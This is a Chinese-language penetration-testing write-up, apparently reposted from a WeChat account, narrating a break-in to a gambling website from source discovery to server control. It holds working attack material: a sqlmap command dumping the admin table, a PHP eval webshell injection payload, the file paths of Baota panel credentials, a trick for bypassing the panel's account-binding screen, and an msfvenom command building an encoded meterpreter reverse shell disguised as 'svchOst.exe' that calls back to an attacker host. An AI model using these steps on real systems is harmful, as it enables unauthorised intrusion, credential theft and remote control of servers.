0x0 前言
0x1 获取源码
0x2 进入后台
0x3 GetShell
0x4 宝塔提权
0x5 总结
0x0 前言
bc实战代码审计拿下后台、数据库续这篇文章作者并没有成功GetShell,依稀记得以前遇到一个类似的站点,故打算再续前缘,最终成功拿下目标Shell权限。
0x1 获取源码
首先先常规扫一波目录:
dirsearch -u 'http://x.x.x.x:80/' -e php
并没有发现有源码压缩包,故放弃这个思路,重新审视文章,获取关键字,去github进行搜索,成功找到部分源码,然后开始进行审计。
Github:
0x2 进入后台
通过之前的扫描,可以获取到后台登陆地址。
访问可以看到登陆页面。
没有验证么,果断上一波常规的弱口令FUZZ,无果。那么只能通过源码进行突破了, 首先观察网站的后台鉴权逻辑主要是通过包含common/login_check.php
进行判断。
<?php
@session_start(); //后台登陆验证
if(!isset($_SESSION["adminid"])){
unset($_SESSION["adminid"]);
unset($_SESSION["login_pwd"]);
unset($_SESSION["quanxian"]);
echo "<script>alert('login!!pass');</script>";
exit;
}else{
include_once("../../include/mysqlio.php");
那么最直接的思路,就是找到一个没有包含这个文件的地方。
find ./ -name "*.php" |xargs grep -L "login_check.php"
找到文件Get_Odds_1.php
, 发现其中的$type
参数直接拼接进SQL语句中,存在注入。
正常情况:
输入单引号,出错:
SQLMAP 跑出账号密码,,这里虽然是GET类型的SQL注入,但是直接使用sqlmap的-u
参数是不行的,需要使用Burp抓包,保存数据包然后用-r
参数。
sqlmap -r sql.txt -D dsncly -T sys_admin --dump
0x3 GetShell
进入后台,先尝试黑盒,看看有没有上传功能,不过似乎没有找到可用的上传点。
黑盒没找到很明显的办法了,只能进行快速代码审计了,直接全局搜索危险函数eval,file_put_contens、fwrite、fputs
等。
可以看到这里写入的文件是php文件,且内容可以通过ta_msg
参数进行控制,也没有过滤,只有简单的去除两边的空格,这里务必要自己本地进行构造下,避免出现闭合失败的错误。
构造payload:');eval($_POST[a]);var_dump(md5(1));//;
最终写入到文件gp_db.php
成功GetShell
0x4 宝塔提权
通过phpinfo,可以看到disable_function,同时通过nmap扫描端口,可知目标存在宝塔。
不过幸运的是,shell的权限还是蛮高的,可以浏览到宝塔的目录。
获取宝塔密码:
D:/BtSoft1/panel/data/default.pl
开放端口:
D:/BtSoft1/panel/data/port.pl
后台地址:
D:/BtSoft1/panel/data/admin_path.pl
获取账号:
D:/BtSoft1/panel/data/default.db
通过上面步骤获取到的账号和密码,登陆到后台http://xxxx:8888/Tajl2eP0/
登陆进去之后会弹出强制绑定窗口,可以通过直接访问/site
来绕过这个。
下面有两种思路进行提权:
1) 通过软件管理->已安装,删除禁用函数,来实现命令执行。
2) 通过宝塔自带的计划任务。
MSF生成木马
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=x.x.x.x LPORT=10001 EXTENSIONS=stdapi,priv -f exe > svchOst.exe
放到C盘即可,然后添加shell计划任务
ipconfig /all
查看网络状态
简单查看下arp -a
和扫描下内网网段的存活情况,并没有连通,故没有继续后续的内网渗透测试。
0x5 总结
本文的渗透过程比较常规,涵盖了从0到1的完整单目标渗透过程,核心在于快速的代码审计能力,由于这个系统开发比较凌乱,所以故不能采用框架的方式去阅读,故采用危
奇安攻防社区
xq17
https://forum.butian.net/share/1225
▶【渗透实战系列】50|- Log4j打点后与管理员斗智斗勇
▶【渗透实战系列】49|-实战某高校的一次挖矿病毒的应急处置
▶【渗透实战系列】|45-记一次渗透实战-代码审计到getshell
▶【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)
▶【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战
▶【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)
▶【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透
▶【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP
▶【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站
▶【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)
▶【渗透实战系列】|29-实战|对某勒索APP的Getshell
▶【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)
▶【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程
▶【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法
▶【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)
▶【渗透实战系列】|17-巧用fofa对目标网站进行getshell
▶【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点
▶【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局
▶【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)
▶【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)
▶【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)
▶【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)
点分享
点收藏
点点赞
点在看
原文始发于微信公众号(Hacking黑白红):▶【渗透实战系列】51|- 一次BC站点的GetShell过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论